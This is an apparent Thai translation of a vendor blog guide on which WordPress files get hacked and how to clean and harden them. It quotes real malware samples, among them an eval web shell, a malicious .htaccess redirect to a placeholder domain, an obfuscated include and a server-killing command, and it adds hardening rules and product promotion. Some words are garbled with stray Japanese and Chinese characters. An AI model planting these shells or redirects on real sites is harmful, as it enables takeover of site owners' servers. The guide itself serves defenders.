WordPress ทำให้การสร้างเว็บไซต์กลายเป็นเรื่องง่าย และช่วยให้บุคคลหรือองค์กรทุกขนาดสามารถมีการปรากฏตัวออนไลน์ได้
เมื่อโฮสต์เว็บไซต์ WordPress การดูแลด้านความปลอดภัยจึงเป็นสิ่งจำเป็น สิ่งที่คุณไม่อยากเกิดขึ้นคือตื่นนอนมาแล้วพบว่าเว็บไซต์ถูกแฮ็ก ทำให้ความพยายามในการพัฒนาและ SEO ทั้งหมดไหล่ลงทะเลโดยที่คุณไม่รู้ตัว 🙁
เนื่องจากความนิยมสูง แฮกเกอร์มักทำเป้าหมาย WordPress รวมถึงธีมและปลั๊กอิน หากพบช่องโหว่ในปลั๊กอินหนึ่งตัว พวกเขาจะสามารถโจมตีเว็บไซต์เกือบทุกแห่งที่ติดตั้งปลั๊กอินนั้นได้
คู่มือที่เกี่ยวข้อง – การกำจัดมัลแวร์ WordPress
ตัวอย่างช่องโหว่ล่าสุดในปลั๊กอิน Contact Form 7 พบว่ามีเว็บไซต์กว่า 5 ล้านเว็บที่ใช้ปลั๊กอินนี้อยู่ในสถานะอ่อนไหวหลังจากช่องโหว่ถูกเปิดเผย ช่องโหว่นี้ทำให้ผู้โจมตีอัปโหลดไฟล์ประเภทใดก็ได้ โดยข้ามข้อจำกัดประเภทไฟล์ที่อนุญาต รวมถึงการฉีดโค้ดอันตราย เช่น เว็บเชลล์ ลงในเว็บไซต์ที่ใช้ Contact Form 7 รุ่นต่ำกว่า 5.3.1 และเปิดใช้งานการอัปโหลดไฟล์ในฟอร์ม
เช่นเดียวกัน เคยมีช่องโหว่ LFI ในปลั๊กอิน 'Slider Revolution' ที่ทำให้แฮกเกอร์ดาวน์โหลด wp-config.php จากเว็บ WordPress ที่อ่อนไหวได้ นำไปสู่การรั่วไหลของข้อมูลเข้าถึงฐานข้อมูล คียเข้ารหัส และข้อมูลการตั้งค่าสำคัญอื่นๆ ของเว็บไซต์ ซึ่ง เริ่มเรียกกันว่า "การแฮก wp-config.php"
ในคู่มือนี้ เราจะพูดถึงไฟล์และตำแหน่งสำคัญทั้งหมดในเว็บ WordPress ของคุณที่อาจเป็นเป้าหมายของแฮกเกอร์และมัลแวร์
1) การแฮก wp-config.php ของ WordPress
ไฟล์ wp-config.php เป็นไฟล์สำคัญสำหรับการติดตั้ง WordPress ทุกครั้ง เป็นไฟล์การตั้งค่าที่เว็บไซต์ใช้ และทำหน้าที่เป็นสะพานเชื่อมระหว่างระบบไฟล์ WP กับฐานข้อมูล ไฟล์ wp-config.php ประกอบด้วยข้อมูลความลับ เช่น:
- โฮสต์ฐานข้อมูล
- ชื่อผู้ใช้ รหัสผ่าน และหมายเลขพอร์ต
- ชื่อฐานข้อมูล
- คีย์ความปลอดภัยของ WordPress
- คำนำหน้าตารางฐานข้อมูล
คู่มือที่เกี่ยวข้อง – คู่มือฉบับสมบูรณ์ขั้นตอนต่อขั้นตอนสำหรับความปลอดภัย WordPress (ลดความเสี่ยงการถูกแฮกลง 90%)
ด้วยลักษณะที่ละเอียดอ่อน จึงกลายเป็นเป้าหมายยอดนิยมของแฮกเกอร์ ปีที่แล้ว พบช่องโหว่วิกฤตในปลั๊กอิน WordPress Duplicator ซึ่งเป็นช่องโหว่ Unauthenticated Arbitrary File Download ที่ทำให้แฮกเกอร์ดาวน์โหลดไฟล์ wp-config ได้
เมื่อแฮกเกอร์ได้ข้อมูลล็อกอินฐานข้อมูลผ่านการแฮก wp-config.php พวกเขาจะพยายามเชื่อมต่อฐานข้อมูลและสร้างบัญชีผู้ดูแลระบบ WP ปลอมสำหรับตัวเอง ทำให้พวกเขาเข้าถึงเว็บไซต์และฐานข้อมูลได้เต็มที่ ข้อมูลละเอียดอ่อน เช่น รหัสผ่านผู้ใช้ อีเมล ไฟล์ รูปภาพ รายละเอียดธุรกรรม WooCommerce และอื่นๆ จะถูกเปิดเผยต่อแฮกเกอร์ เพื่อรักษาการเข้าถึงอย่างต่อเนื่อง พวกเขาอาจติดตั้งสคริปต์เช่นประตูหลัง Filesman
2) การแฮก index.php ของ WordPress
ไฟล์ index.php เป็นจุดเข้าสู่ทุกเว็บไซต์ WordPress เนื่องจากไฟล์นี้ทำงานกับทุกหน้าในเว็บไซต์ แฮกเกอร์จึงฉีดโค้ดอันตรายซึ่งส่งผลต่อเว็บไซต์ทั้งหมด
ตัวอย่างเช่น มัลแวร์ pub2srv และ Favicon malware hack เป้าหมายคือไฟล์ index.php นักวิจัยของ Astra Security ติดตามแคมเปญมัลแวร์การเปลี่ยนเส้นทางขนาดใหญ่ พบว่าโค้ดอันตราย เช่น @include "\x2f/sgb\x2ffavi\x63on_5\x34e6ed\x2eico"; และโค้ดในภาพหน้าจอด้านล่างถูกเพิ่มเข้าไปในไฟล์ index.php:
บางแคมเปญมัลแวร์ยังเปลี่ยนชื่อไฟล์ index.php เป็น index.php.bak ทำให้เว็บไซต์ล้มเหลวและโหลดไม่ขึ้นเลย
โค้ดอันตรายในไฟล์ index.php สามารถทำให้ผู้เยี่ยมชมเห็นป๊อปอัปแปลกโฆษณา หรือถูกเปลี่ยนเส้นทางไปยังเว็บไซต์สแปมอื่นๆ วิธีแก้ไขคือเปรียบเทียบเนื้อหาของไฟล์นี้กับต้นฉบับที่ WordPress เปิดตัว
คู่มือที่เกี่ยวข้อง – คู่มือฉบับสมบูรณ์สำหรับการกำจัดการแฮก WordPress
3) การแฮกไฟล์ .htaccess ของ WordPress
ไฟล์ .htaccess ที่มักพบในโฟลเดอร์รากของเว็บ WordPress ช่วยกำหนดค่าการตั้งค่าเซิร์ฟเวอร์ตามความต้องการของเว็บไซต์ มักพบในเซิร์ฟเวอร์ Apache ไฟล์ .htaccess เป็นองค์ประกอบที่ทรงพลังมากในการควบคุมประสิทธิภาพและพฤติกรรมของเว็บเซิร์ฟเวอร์ ยังสามารถใช้ควบคุมความปลอดภัยของเว็บไซต์ได้ การใช้งานทั่วไปของไฟล์ .htaccess ได้แก่:
- จำกัดการเข้าถึงโฟลเดอร์บางส่วนของเว็บไซต์
- กำหนดการใช้หน่วยความจำสูงสุดของเว็บไซต์
- สร้างการเปลี่ยนเส้นทาง (Redirects)
- บังคับใช้ HTTPS
- จัดการแคช (Caching)
- ป้องกันการโจมตีฉีดสคริปต์บางประเภท
- ควบคุมขนาดไฟล์อัปโหลดสูงสุด
- หยุดบอทไม่ให้ค้นหาชื่อผู้ใช้
- บล็อกการลิงก์รูปภาพโดยตรง (Hotlinking)
- บังคับดาวน์โหลดไฟล์อัตโนมัติ
- จัดการนามสกุลไฟล์
อย่างไรก็ตาม เมื่อถูกโจมตี คุณสมบัติเหล่านี้อาจถูกใช้เพื่อเก็บคลิกให้กับผู้โจมตี บ่อยครั้งที่ไฟล์ .htaccess ถูกฉีดโค้ดอันตรายเพื่อเปลี่ยนเส้นทางผู้ใช้ บางครั้งใช้แสดงสแปมให้ผู้ใช้เห็น ตัวอย่างโค้ดด้านล่าง:
RewriteEngine On RewriteOptions inherit RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC] RewriteRule .* https://MaliciousDomain.tld/bad.php?t=3 [R,L]
โค้ดอันตรายในบรรทัดสุดท้ายกำลังเปลี่ยนเส้นทางトラフィックผู้ใช้จากเว็บไซต์ ผลคือผู้ใช้ถูกส่งไปยัง https://MaliciousDomain.tld จากนั้นพยายามโหลดสคริปต์ bad.php หากคุณสังเกตเห็นการเปลี่ยนเส้นทางผิดปกติจากเว็บไซต์ อาจเกิดจากการแฮกไฟล์ .htaccess แต่ถ้าคุณไม่พบไฟล์นี้ หรือว่างเปล่า – อย่าตกใจ เพราะไฟล์นี้ไม่ได้เป็นบังคับ (เว้นแต่คุณใช้ pretty URLs ใน WordPress)
4) ไฟล์ footer.php และ header.php ของ WordPress (ไฟล์ธีมถูกแฮก)
ธีม WordPress ทุกตัวมีไฟล์ชื่อ footer.php และ header.php ซึ่งมีโค้ดสำหรับส่วนหัวและท้ายของเว็บไซต์ พื้นที่นี้รวมถึงสคริปต์และวิดเจ็ตบางอย่างที่เหมือนกันทั่วเว็บไซต์ เช่น วิดเจ็ตแชร์หรือวิดเจ็ตโซเชียลมีเดียที่ด้านล่างของเว็บไซต์ หรืออาจเป็นแค่ข้อมูลลิขสิทธิ์ เครดิต ฯลฯ
ดังนั้น ไฟล์ทั้งสองนี้จึงเป็นไฟล์สำคัญที่อาจถูกโจมตี มักถูกใช้สำหรับการเปลี่ยนเส้นทางมัลแวร์และแสดงเนื้อหาสแปม เช่นกรณีของมัลแวร์เปลี่ยนเส้นทาง digestcolect[.com]
เว็บไซต์ที่ถูกแฮกอาจมีโค้ดบ้าพลัดในไฟล์เหล่านี้ ตามภาพหน้าจอด้านล่าง:
เราถอดรหัสบางส่วนและพบว่าแฮกเกอร์ใช้คุกกี้เบราว์เซอร์ระบุตัวตนผู้ใช้และแสดงโฆษณาอันตราย
เพิ่มเติมในอีกกรณีหนึ่ง ผู้โจมตีฉีดโค้ด JavaScript ลงในไฟล์ทุกไฟล์ที่มีนามสกุล .js เนื่องจากการติดเชื้อขนาดใหญ่ ทำให้การทำความสะอาดแฮกประเภทนี้มักยาก
5) การแฮก functions.php ของ WordPress
ไฟล์ functions ในโฟลเดอร์ธีมทำงานเหมือนปลั๊กอิน หมายถึงสามารถใช้เพิ่มคุณสมบัติและฟังก์ชันให้เว็บไซต์ WordPress ไฟล์ functions.php สามารถใช้สำหรับ:
- เรียกใช้เหตุการณ์/ฟังก์ชันของ WordPress
- เรียกใช้ฟังก์ชัน PHP ต้นฉบับ
- หรือกำหนดฟังก์ชันของตัวเอง
ไฟล์ functions.php มีอยู่กับทุกธีม แต่สำคัญคือในเวลาใดเวลาหนึ่ง จะมีเพียงไฟล์ functions.php เพียงไฟล์เดียวที่ทำงาน – คือไฟล์ในธีมที่ใช้งานอยู่ เนื่องจากนี้ ไฟล์ functions.php จึงถูกโจมตีโดยผู้โจมตีอย่างต่อเนื่องใน การแฮกประตูหลัง Wp-VCD มัลแวร์นี้สร้างแอดมินใหม่และฉีดหน้าสแปมในเว็บไซต์ เช่น สแปมยาและ SEO สแปมญี่ปุ่น
<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>
จากโค้ดข้างต้น โค้ดนี้รวมไฟล์ class.theme-modules.php ซึ่งถูกใช้ติดตั้งมัลแวร์ลงในธีมอื่นๆ ที่ติดตั้งในเว็บไซต์ของคุณ (แม้จะปิดใช้งานอยู่) สร้างผู้ใช้และประตูหลังใหม่ ทำให้ผู้โจมตีเข้าถึงเว็บไซต์ได้แม้หลังทำความสะอาดไฟล์แล้ว
6) การแฮก wp-load.php ของ WordPress
ไฟล์ wp-load.php เป็นไฟล์สำคัญสำหรับทุกเว็บไซต์ WordPress ไฟล์ wp-load.php ช่วยในการบูตสแทรปสภาพแวดล้อม WordPress และให้ปลั๊กอินสามารถใช้ฟังก์ชันหลักของ WP ได้ มัลแวร์หลายรูปแบบติดเชื้อเว็บไซต์ WordPress โดยสร้างไฟล์ wp-load อันตราย เช่นในกรณีมัลแวร์เว็บเชลล์ China Chopper พฤติกรรมทั่วไปคือสร้างไฟล์อย่าง wp-load-eFtAh.php บนเซิร์ฟเวอร์ เนื่องจากชื่อคล้ายไฟล์ต้นฉบับ คุณอาจไม่สงสัยเมื่อล็อกอินผ่าน FTP ไฟล์เหล่านี้มีโค้ดอย่าง:
<?php /*5b7bdc250b181*/ ?><?php @eval($_POST['pass']);?>
โค้ดนี้อนุญาตให้ผู้โจมตีรันโค้ด PHP ใดๆ บนเว็บไซต์ที่ส่งมาในพารามิเตอร์ pass โดยใช้ประตูหลังนี้ คำสั่งอันตรายสามารถรันได้ เช่น คำสั่ง — https://yoursite/your.php?pass=system("killall -9 apache"); สามารถฆ่าประมวลผลเว็บเซิร์ฟเวอร์ได้ ปิดเซิร์ฟเวอร์ทั้งหมดได้ อย่าถือว่าสั้นแค่นี้ไม่อันตราย – มันอันตรายพอที่จะควบคุมเซิร์ฟเวอร์ของคุณจากระยะไกล
7) การ氾濫ไฟล์ class-wp-cache.php บนเซิร์ฟเวอร์
ในหนึ่งในแฮกล่าสุดที่เราเห็น คือ cPanel และเว็บเซิร์ฟเวอร์ทั้งหมดได้รับไฟล์ class-wp-cache.php จำนวนสิบหรือพันไฟล์ ทุกโฟลเดอร์ของเว็บไซต์รวมถึงไฟล์หลัก ถูกติดเชื้อด้วยไฟล์อันตรายเหล่านี้ สาเหตุทั่วไปคือช่องโหว่ในโค้ดเว็บไซต์ที่เปิดโอกาสให้แฮกเกอร์เข้า
วิธีทำความสะอาดไฟล์ WordPress และรักษาความปลอดภัย
1) ทำความสะอาดไฟล์
ขั้นแรก สืบสวนสาเหตุของการโจมตีอย่างการแฮก wp-config.php จากนั้นลบโค้ดอันตราย/บ้าพลัดออก ขั้นที่สอง กู้คืนไฟล์ที่ติดเชื้อจากสำรองข้อมูลที่คุณอาจมี ถ้าสำรองข้อมูลไม่มี สามารถตรวจสอบไฟล์ WordPress ต้นฉบับใน GitHub อย่าลืมสำรองไฟล์ก่อนทำการเปลี่ยนแปลง ข้อผิดพลาดในการลบโค้ดอาจทำให้เว็บไซต์เสียหาย
2) รักษาความปลอดภัยเว็บไซต์ด้วยปลั๊กอิน
ในการแฮกประเภทนี้ ไฟล์หลักของ CMS มักถูกแก้ไขโดยแฮกเกอร์ สำคัญคือต้องตรวจสอบว่าไฟล์หลัก WordPress ใดๆ ถูกแก้ไขหรือไม่ ลูกค้า Astra Security มีฟีเจอร์นี้แล้วและได้รับแจ้งเตือนอัตโนมัติหากตรวจพบการเปลี่ยนแปลงดังกล่าว
Astra Security ยังมีกลไกตรวจสอบในตัวสำหรับตรวจสอบการเปลี่ยนแปลงไฟล์เหล่านี้
หลังจากตรวจสอบการเปลี่ยนแปลงในไฟล์ระบบหลักแล้ว คุณจะต้องสแกนเว็บไซต์ด้วยโซลูชันสแกนมัลแวร์ เช่น Astra Website Protection เพื่อระบุไฟล์ที่มีเนื้อหาอันตราย เครื่องมือเหล่านี้ให้รายงานสแกนเต็มรูปแบบของไฟล์มัลแวร์ ลิงก์อันตราย สาเหตุของการแฮก ฯลฯ
3) ซ่อนไฟล์ละเอียดอ่อน
การเปิดเผยไฟล์ต่อสาธารณะอาจเปิดเผยข้อมูลละเอียดอ่อน เช่นการแฮก wp-config.php ที่เราพูดถึง จึงจำเป็นต้องซ่อนไฟล์เหล่านี้บนเซิร์ฟเวอร์ ไฟล์ .htaccess ช่วยรักษาความปลอดภัยไฟล์เหล่านี้ได้
เพื่อป้องกันไม่ให้ใครเข้าถึงไฟล์ PHP ใดๆ ในโฟลเดอร์ wp-content/uploads คุณสามารถสร้างไฟล์ .htaccess ในโฟลเดอร์ wp-content/uploads และเพิ่มโค้ดต่อไปนี้:
# Kill PHP Execution <Files ~ ".ph(?:p[345]?|t|tml)$"> deny from all </Files>
เพื่อซ่อนไฟล์ละเอียดอ่อนในโฟลเดอร์ wp-includes ให้เพิ่มโค้ดต่อไปนี้ในไฟล์ .htaccess ที่รากของเว็บไซต์:
# Block wp-includes folder and files <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^wp-admin/includes/ - [F,L] RewriteRule !^wp-includes/ - [S=3] RewriteRule ^wp-includes/[^/]+\.php$ - [F,L] RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L] RewriteRule ^wp-includes/theme-compat/ - [F,L] </IfModule>
คุณยังสามารถข้ามกระบวนการทั้งหมดนี้และติดตั้งปลั๊กอิน WP Hardening แทน ปลั๊กอินนี้ซ่อนไฟล์ละเอียดอ่อน เช่น wp-contents, wp-uploads ฯลฯ ด้วยการคลิกปุ่มเพียงครั้งเดียว นอกจากนี้ WP-Hardening ยังช่วยรักษาความปลอดภัยด้านสำคัญอื่นๆ ของเว็บไซต์หลายประการ ทำให้ยากต่อผู้โจมตีในการระบุข้อมูลละเอียดอ่อนและใช้ประโยชน์จากมัน
คู่มือที่เกี่ยวข้อง – คู่มือขั้นตอนการกำจัดมัลแวร์ WordPress
4) อัปเดต WordPress
อัปเดตการติดตั้ง WP ปลั๊กอิน และธีมให้เป็นปัจจุบันเสมอ ช่องโหว่จำนวนมากสามารถปิดกั้นได้ด้วยการรันการติดตั้งที่อัปเดตแล้ว ใช้ปลั๊กอินและธีมที่น่าเชื่อถือเท่านั้น หลีกเลี่ยงธีมที่เขียนโค้ดแย่หรือธีม nulled ทำให้การโจมตีอย่างการแฮก wp-config.php ไม่เกิดขึ้น
เพื่ออธิบายให้เข้าใจง่ายขึ้น เราสร้างวิดีโอขั้นตอนฉบับสมบูรณ์สำหรับรักษาความปลอดภัยเว็บไซต์ WordPress ของคุณ:
5) ใช้ไrewall WordPress
ไrewall ช่วยรักษาความปลอดภัยเว็บไซต์ได้มาก ไrewall สามารถตรวจสอบトラフィคเข้าเว็บไซต์และดำเนินการป้องกันเพื่อบล็อกการติดเชื้อ สามารถป้องกันการโจมตีอย่างการแฮก wp-config.php ได้อย่างมีประสิทธิภาพ มีโซลูชันไrewall ที่คุ้มค่าหลายตัวในตลาดวันนี้ ตัวของ Astra Security ยืดหยุ่นและเหมาะกับความต้องการของคุณ
ไrewall ของ Astra หยุดการโจมตีอย่าง SQLi, การฉีดโค้ด, XSS, CSRF และภัยคุกคามไซเบอร์ 100+ ประเภทในเวลาจริง ยังตรวจจับและบล็อคการล็อกอินผิดปกติและปลอม และสแกนเว็บไซต์อัตโนมัติและเป็นระยะ
6) การตรวจสอบความปลอดภัย WordPress หรือ Pen Testing
ด้วย WordPress เป็น CMS ยอดนิยมที่สุด จึงกลายเป็นแหล่งปัญหาความปลอดภัยมากขึ้น ผู้โจมตีจึงคอยหาช่องโหว่ที่ใช้ประโยชน์ได้บนเว็บไซต์ WordPress ตลอดเวลา ดังนั้น Pen-Testing เว็บไซต์ WordPress จึงกลายเป็นสิ่งจำเป็นเพื่อรักษาความปลอดภัยจากการโจมตี
Penetration Testing เป็นการจำลองการโจมตีต่อแอปพลิเคชันเว็บ เครือข่าย หรือระบบคอมพิวเตอร์ เพื่อประเมินความปลอดภัยและหาช่องโหว่ที่มีอยู่ ก่อนที่ผู้โจมตีจะทำได้ ช่วยในการป้องกัน ตัวอย่างการโจมตีจำลองหนึ่งในการ Pen-Test เว็บไซต์ WordPress คือการตรวจสอบช่องโหว่ Directory Listing ที่ทำให้ดัชนีไดเรกทอรีละเอียดอ่อน เช่น wp-includes, wp-index.php, wp-config.php, wp-admin, wp-load.php, wp-content ฯลฯ และอาจให้ข้อมูลละเอียดอ่อนกับผู้โจมตี
แก้ไขปัญหาความปลอดภัย 12+ ประการได้ในคลิกเดียวด้วยปลั๊กอิน WP Hardening ฟรีของเรา
คู่มือที่เกี่ยวข้อง – คู่มือฉบับสมบูรณ์ขั้นตอนต่อขั้นตอนสำหรับความปลอดภัย WordPress (ลดความเสี่ยงการถูกแฮกลง 90%)